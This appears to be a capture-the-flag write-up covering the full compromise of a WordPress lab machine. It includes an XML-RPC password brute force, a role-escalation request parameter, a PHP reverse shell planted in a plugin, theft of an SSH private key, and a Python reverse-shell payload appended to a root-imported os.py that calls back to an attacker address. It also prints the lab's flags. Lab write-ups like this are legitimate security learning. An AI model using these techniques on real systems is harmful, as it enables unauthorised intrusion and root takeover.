Jack's Creepy Twin Chronicles. WordPress 5.3.2 on Apache 2.4.18. Ports 22 and 80. My little ethical hacker heart was all aflutter.

Initial Enumeration

Added the target to /etc/hosts, then Nmap while browsing the site:

nmap -sC -sV -p- -T4 10.145.146.236
Target web app — Jack's WordPress blog WordPress 5.3.2 on Apache 2.4.18, ports 22 and 80 Nmap results confirming open ports and service versions

Searchsploit surfaced an RCE for WordPress 5.3.2, but something wasn't sitting right. Broader search:

searchsploit wordpress priv
Searchsploit WordPress RCE result ExploitDB confirming User Role Editor privilege escalation WordPress Plugin User Role Editor < 4.25 privilege escalation identified

Found it: WordPress Plugin User Role Editor < 4.25 - Privilege Escalation. That's the path.

Ran the vuln scan for good measure:

nmap -sS -Pn -sC -sV --script=vuln -T4 -A 10.145.177.54 -oN jack_nmap_result.txt
Vuln scan returning usernames, versions, and vulnerability details

Usernames, versions, vulnerabilities, the works. Then WordPress plugin enumeration:

nmap -sV --script http-wordpress-enum 10.145.177.54
http-wordpress-enum surfacing installed plugins

WPScan Enumeration

wpscan --url http://10.145.177.54 --enumerate ap --connect-timeout 10 --detection-mode aggressive --plugins-detection mixed
WPScan aggressive plugin enumeration results WPScan confirming User Role Editor plugin presence 
wpscan --url http://10.145.177.54 --enumerate u --connect-timeout 10
WPScan user enumeration finding jack, wendy, danny XML-RPC confirmed enabled

Three users: jack, wendy, danny. XML-RPC alive and well.

Credential Attack — XML-RPC via Metasploit

Created a username file with all three, then:

msfconsole -qx 'search wordpress_xmlrpc_login'
Metasploit XML-RPC login module configured Wendy's credentials recovered — you just got pwned, Wendy

Wendy's credentials recovered. You just got pwned, Wendy.

Confirmed with WPScan:

wpscan --url http://jack.thm -U jack_usernames.txt -P /usr/share/wordlists/fasttrack.txt
WPScan confirming Wendy's credentials

WordPress Login and Privilege Escalation

Logged in as Wendy at http://jack.thm/wp-admin.php.

WordPress admin login as Wendy Logged in as Wendy — subscriber level access

Configured Burp and FoxyProxy to intercept the profile update POST request at /wp-admin/profile.php. Added the payload to the last line of the intercepted GET request:

ure_other_roles=administrator

Forwarded the edited request, then clicked Update Profile.

Burp intercepted POST with ure_other_roles=administrator payload WordPress dashboard pre-escalation — Wendy at subscriber level WordPress dashboard post-escalation — Wendy's blog life, pwned

Admin. Made Wendy admin too for persistence.

Wendy promoted to administrator for persistence

Reverse Shell via Akismet Plugin

Navigated to Plugins → Edit Plugins. Injected a PHP reverse shell into the Akismet plugin source.

Plugin editor open showing Akismet source PHP reverse shell payload injected into Akismet plugin

Listener up before clicking Update File:

Netcat listener started on attack machine

Updated the file, navigated to Plugins, clicked Activate below Akismet.

Plugins page after Update File Akismet activate button Shell landed as www-data

Shell achieved. Stabilized with Python.

Python shell stabilization — first attempt with syntax note Stable shell confirmed

SSH Key Extraction

Checked www-data permissions, then looked around:

www-data permissions check Directory exploration finding id_rsa

Found Jack's id_rsa. Copied it locally:

id_rsa contents — private key extracted 
chmod 600 id_rsa

Port 22 was open from the initial scan. SSH as Jack:

SSH as jack using extracted private key

User flag:

user.txt flag retrieved 
0052f7829e48752f2e7bf50f1231548a

Privilege Escalation — Python os.py Hijack

The machine hinted at Python. Found checker.py running as root every two minutes, importing the os module:

checker.py discovered importing os module Cron schedule confirming checker.py runs every 2 minutes as root

Checked permissions on os.py:

os.py permissions — writable by jack

Jack can write to it. Injected a reverse shell at the end of os.py:

import socket
import pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("KALI_IP", 22444))
dup2(s.fileno(),0)
dup2(s.fileno(),1)
dup2(s.fileno(),2)
pty.spawn("/bin/bash")
s.close()
Reverse shell payload appended to os.py

Listener up:

rlwrap nc -nlvp 22444
Navigating to os.py location via SSH as jack Listener waiting for cron to fire

Within two minutes, cron fired and the shell landed:

Root shell received via os.py hijack 
root@jack:~# cat root.txt
b8b63a861cc09e853f29d8055d64bffb
root.txt flag retrieved Root shell confirmed

Full Attack Chain

Nmap → WordPress 5.3.2, Apache 2.4.18, ports 22 + 80
→ WPScan → users (jack, wendy, danny), XML-RPC enabled, User Role Editor plugin
→ Metasploit XML-RPC brute force → Wendy:password recovered
→ WordPress login → Burp intercept → ure_other_roles=administrator → admin access
→ Akismet plugin edit → PHP reverse shell → www-data shell
→ Python shell stabilization → id_rsa found → SSH as jack → user flag
→ checker.py runs as root every 2 min importing os
→ os.py writable by jack → reverse shell appended
→ cron fires → root shell → root flag